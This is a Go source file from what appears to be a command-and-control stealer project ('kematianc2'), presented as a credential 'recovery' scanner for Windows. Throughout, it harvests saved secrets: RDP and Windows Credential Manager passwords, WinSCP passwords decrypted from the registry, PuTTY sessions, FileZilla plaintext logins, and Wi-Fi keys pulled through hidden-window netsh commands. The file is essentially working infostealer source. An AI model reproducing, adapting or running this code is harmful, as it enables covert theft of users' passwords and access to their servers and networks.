Files
kematianc2/Kematian-Standalone/native/recovery/scanner/apps_windows.go
T

615 lines
15 KiB
Go
Raw Normal View History

2026-08-27 11:23:01 -06:00
//go:build windows
package scanner
import (
"encoding/xml"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
"recovery/recovery/types"
)
var (
advapi32 = syscall.NewLazyDLL("advapi32.dll")
procCredEnumerateW = advapi32.NewProc("CredEnumerateW")
procCredFree = advapi32.NewProc("CredFree")
)
const (
credTypeGeneric = 1
credTypeDomainPassword = 2
credTypeDomainCertificate = 3
)
type winCredential struct {
Flags uint32
Type uint32
TargetName *uint16
Comment *uint16
LastWritten syscall.Filetime
CredentialBlobSize uint32
CredentialBlob *byte
Persist uint32
AttributeCount uint32
Attributes uintptr
TargetAlias *uint16
UserName *uint16
}
func ScanApps() []types.AppCredentialResult {
var results []types.AppCredentialResult
results = append(results, scanRDP()...)
results = append(results, scanWinSCP()...)
results = append(results, scanPuTTY()...)
results = append(results, scanFileZilla()...)
results = append(results, scanCredentialManager()...)
results = append(results, scanWiFi()...)
return results
}
// ── RDP ────────────────────────────────────────────────────────────────
func scanRDP() []types.AppCredentialResult {
var results []types.AppCredentialResult
// Registry: saved connection history with usernames
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err == nil {
defer k.Close()
servers, _ := k.ReadSubKeyNames(-1)
for _, server := range servers {
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ)
if err != nil {
continue
}
username, _, _ := sk.GetStringValue("UsernameHint")
sk.Close()
r := types.AppCredentialResult{
Application: "RDP",
Host: server,
Port: 3389,
Username: username,
Protocol: "rdp",
}
// Try to get the password from Credential Manager
pw := credManagerLookup("TERMSRV/" + server)
if pw != "" {
r.Password = pw
}
results = append(results, r)
}
}
// Also scan Credential Manager for TERMSRV/* entries not in the registry
creds := enumCredentials()
seen := make(map[string]bool)
for _, r := range results {
seen[strings.ToLower(r.Host)] = true
}
for _, c := range creds {
target := strings.ToLower(c.target)
if !strings.HasPrefix(target, "termsrv/") {
continue
}
host := c.target[len("TERMSRV/"):]
if seen[strings.ToLower(host)] {
continue
}
results = append(results, types.AppCredentialResult{
Application: "RDP",
Host: host,
Port: 3389,
Username: c.username,
Password: c.password,
Protocol: "rdp",
})
}
// Scan for .rdp files
results = append(results, scanRDPFiles()...)
return results
}
func scanRDPFiles() []types.AppCredentialResult {
var results []types.AppCredentialResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
dirs := []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
for _, dir := range dirs {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") {
continue
}
path := filepath.Join(dir, e.Name())
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
continue
}
r := parseRDPFile(string(data))
if r.Host != "" {
r.Extra = path
results = append(results, r)
}
}
}
return results
}
func parseRDPFile(content string) types.AppCredentialResult {
r := types.AppCredentialResult{
Application: "RDP",
Protocol: "rdp",
Port: 3389,
}
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
parts := strings.SplitN(line, ":", 3)
if len(parts) < 3 {
continue
}
key := strings.ToLower(strings.TrimSpace(parts[0]))
val := strings.TrimSpace(parts[2])
switch key {
case "full address":
if idx := strings.LastIndex(val, ":"); idx > 0 {
if p, err := strconv.Atoi(val[idx+1:]); err == nil {
r.Host = val[:idx]
r.Port = p
continue
}
}
r.Host = val
case "username":
r.Username = val
case "server port":
if p, err := strconv.Atoi(val); err == nil {
r.Port = p
}
}
}
return r
}
// ── WinSCP ─────────────────────────────────────────────────────────────
func scanWinSCP() []types.AppCredentialResult {
var results []types.AppCredentialResult
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err != nil {
return nil
}
defer k.Close()
sessions, _ := k.ReadSubKeyNames(-1)
for _, sess := range sessions {
if sess == "Default%20Settings" {
continue
}
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ)
if err != nil {
continue
}
hostname, _, _ := sk.GetStringValue("HostName")
username, _, _ := sk.GetStringValue("UserName")
portNum, _, _ := sk.GetIntegerValue("PortNumber")
encPassword, _, _ := sk.GetStringValue("Password")
fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol")
sk.Close()
if hostname == "" {
continue
}
port := int(portNum)
if port == 0 {
port = 22
}
protocol := "sftp"
switch fsProtocol {
case 0:
protocol = "sftp"
case 5:
protocol = "ftp"
case 1:
protocol = "scp"
}
password := ""
if encPassword != "" {
password = decryptWinSCPPassword(encPassword, hostname, username)
}
results = append(results, types.AppCredentialResult{
Application: "WinSCP",
Host: hostname,
Port: port,
Username: username,
Password: password,
Protocol: protocol,
})
}
return results
}
func decryptWinSCPPassword(hex, hostname, username string) string {
key := username + hostname
decNextChar := func(s string, idx int) (byte, int) {
if idx+2 > len(s) {
return 0, idx + 2
}
a, err1 := strconv.ParseUint(string(s[idx]), 16, 8)
b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8)
if err1 != nil || err2 != nil {
return 0, idx + 2
}
return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2
}
idx := 0
flag, idx := decNextChar(hex, idx)
if flag == 0xFF {
return ""
}
_, idx = decNextChar(hex, idx) // skip unused byte
length, idx := decNextChar(hex, idx)
delLen, idx := decNextChar(hex, idx)
for i := 0; i < int(delLen); i++ {
_, idx = decNextChar(hex, idx)
}
raw := make([]byte, 0, int(length))
for i := 0; i < int(length); i++ {
c, newIdx := decNextChar(hex, idx)
idx = newIdx
raw = append(raw, c)
}
if len(key) > 0 {
decrypted := make([]byte, len(raw))
for i, c := range raw {
decrypted[i] = c ^ key[i%len(key)]
}
return string(decrypted)
}
return string(raw)
}
// ── PuTTY ──────────────────────────────────────────────────────────────
func scanPuTTY() []types.AppCredentialResult {
var results []types.AppCredentialResult
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err != nil {
return nil
}
defer k.Close()
sessions, _ := k.ReadSubKeyNames(-1)
for _, sess := range sessions {
if sess == "Default%20Settings" {
continue
}
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ)
if err != nil {
continue
}
hostname, _, _ := sk.GetStringValue("HostName")
username, _, _ := sk.GetStringValue("UserName")
portNum, _, _ := sk.GetIntegerValue("PortNumber")
protocol, _, _ := sk.GetStringValue("Protocol")
keyFile, _, _ := sk.GetStringValue("PublicKeyFile")
proxyHost, _, _ := sk.GetStringValue("ProxyHost")
sk.Close()
if hostname == "" {
continue
}
port := int(portNum)
if port == 0 {
port = 22
}
if protocol == "" {
protocol = "ssh"
}
extra := ""
if keyFile != "" || proxyHost != "" {
parts := []string{}
if keyFile != "" {
parts = append(parts, "key:"+keyFile)
}
if proxyHost != "" {
parts = append(parts, "proxy:"+proxyHost)
}
extra = strings.Join(parts, "; ")
}
// URL-decode session name for display purposes
decodedName := strings.ReplaceAll(sess, "%20", " ")
_ = decodedName
results = append(results, types.AppCredentialResult{
Application: "PuTTY",
Host: hostname,
Port: port,
Username: username,
Protocol: protocol,
Extra: extra,
})
}
return results
}
// ── FileZilla ──────────────────────────────────────────────────────────
type fzServer struct {
XMLName xml.Name `xml:"Server"`
Host string `xml:"Host"`
Port int `xml:"Port"`
Protocol int `xml:"Protocol"`
User string `xml:"User"`
Pass string `xml:"Pass"`
}
type fzSiteManager struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServer `xml:"Servers>Server"`
}
type fzRecentServers struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServer `xml:"RecentServers>Server"`
}
func scanFileZilla() []types.AppCredentialResult {
var results []types.AppCredentialResult
appdata := os.Getenv("APPDATA")
if appdata == "" {
return nil
}
fzDir := filepath.Join(appdata, "FileZilla")
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
path := filepath.Join(fzDir, file)
data, err := os.ReadFile(path)
if err != nil {
continue
}
var servers []fzServer
if file == "sitemanager.xml" {
var sm fzSiteManager
if xml.Unmarshal(data, &sm) == nil {
servers = sm.Servers
}
} else {
var rs fzRecentServers
if xml.Unmarshal(data, &rs) == nil {
servers = rs.Servers
}
}
for _, s := range servers {
if s.Host == "" {
continue
}
port := s.Port
if port == 0 {
port = 21
}
protocol := "ftp"
switch s.Protocol {
case 1:
protocol = "sftp"
case 3, 4:
protocol = "ftps"
}
results = append(results, types.AppCredentialResult{
Application: "FileZilla",
Host: s.Host,
Port: port,
Username: s.User,
Password: s.Pass,
Protocol: protocol,
})
}
}
return results
}
// ── Windows Credential Manager ─────────────────────────────────────────
type credEntry struct {
target string
username string
password string
credType uint32
}
func enumCredentials() []credEntry {
var count uint32
var credsPtr uintptr
ret, _, _ := procCredEnumerateW.Call(
0,
0,
uintptr(unsafe.Pointer(&count)),
uintptr(unsafe.Pointer(&credsPtr)),
)
if ret == 0 || count == 0 {
return nil
}
defer procCredFree.Call(credsPtr)
var results []credEntry
for i := uint32(0); i < count; i++ {
entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0))))
c := (*winCredential)(unsafe.Pointer(entryPtr))
target := windows.UTF16PtrToString(c.TargetName)
username := ""
if c.UserName != nil {
username = windows.UTF16PtrToString(c.UserName)
}
password := ""
if c.CredentialBlobSize > 0 && c.CredentialBlob != nil {
blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize)
password = string(blob)
}
results = append(results, credEntry{
target: target,
username: username,
password: password,
credType: c.Type,
})
}
return results
}
func credManagerLookup(target string) string {
target = strings.ToLower(target)
for _, c := range enumCredentials() {
if strings.ToLower(c.target) == target {
return c.password
}
}
return ""
}
func scanCredentialManager() []types.AppCredentialResult {
var results []types.AppCredentialResult
for _, c := range enumCredentials() {
target := strings.ToLower(c.target)
// Skip TERMSRV entries (already handled by RDP scanner)
if strings.HasPrefix(target, "termsrv/") {
continue
}
// Skip entries with no useful data
if c.username == "" && c.password == "" {
continue
}
typeName := "generic"
switch c.credType {
case credTypeDomainPassword:
typeName = "domain"
case credTypeDomainCertificate:
typeName = "certificate"
}
results = append(results, types.AppCredentialResult{
Application: "CredManager",
Host: c.target,
Username: c.username,
Password: c.password,
Protocol: typeName,
})
}
return results
}
// ── WiFi ───────────────────────────────────────────────────────────────
func scanWiFi() []types.AppCredentialResult {
var results []types.AppCredentialResult
cmd := exec.Command("netsh", "wlan", "show", "profiles")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
out, err := cmd.Output()
if err != nil {
return nil
}
var profiles []string
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if idx := strings.Index(line, ": "); idx >= 0 {
lower := strings.ToLower(line[:idx])
if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") {
name := strings.TrimSpace(line[idx+2:])
if name != "" {
profiles = append(profiles, name)
}
}
}
}
for _, name := range profiles {
cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
out, err := cmd.Output()
if err != nil {
continue
}
password := ""
auth := ""
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if idx := strings.Index(line, ": "); idx >= 0 {
lower := strings.ToLower(line[:idx])
val := strings.TrimSpace(line[idx+2:])
if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") {
password = val
} else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") {
auth = val
}
}
}
results = append(results, types.AppCredentialResult{
Application: "WiFi",
Host: name,
Username: auth,
Password: password,
Protocol: "wifi",
})
}
return results
}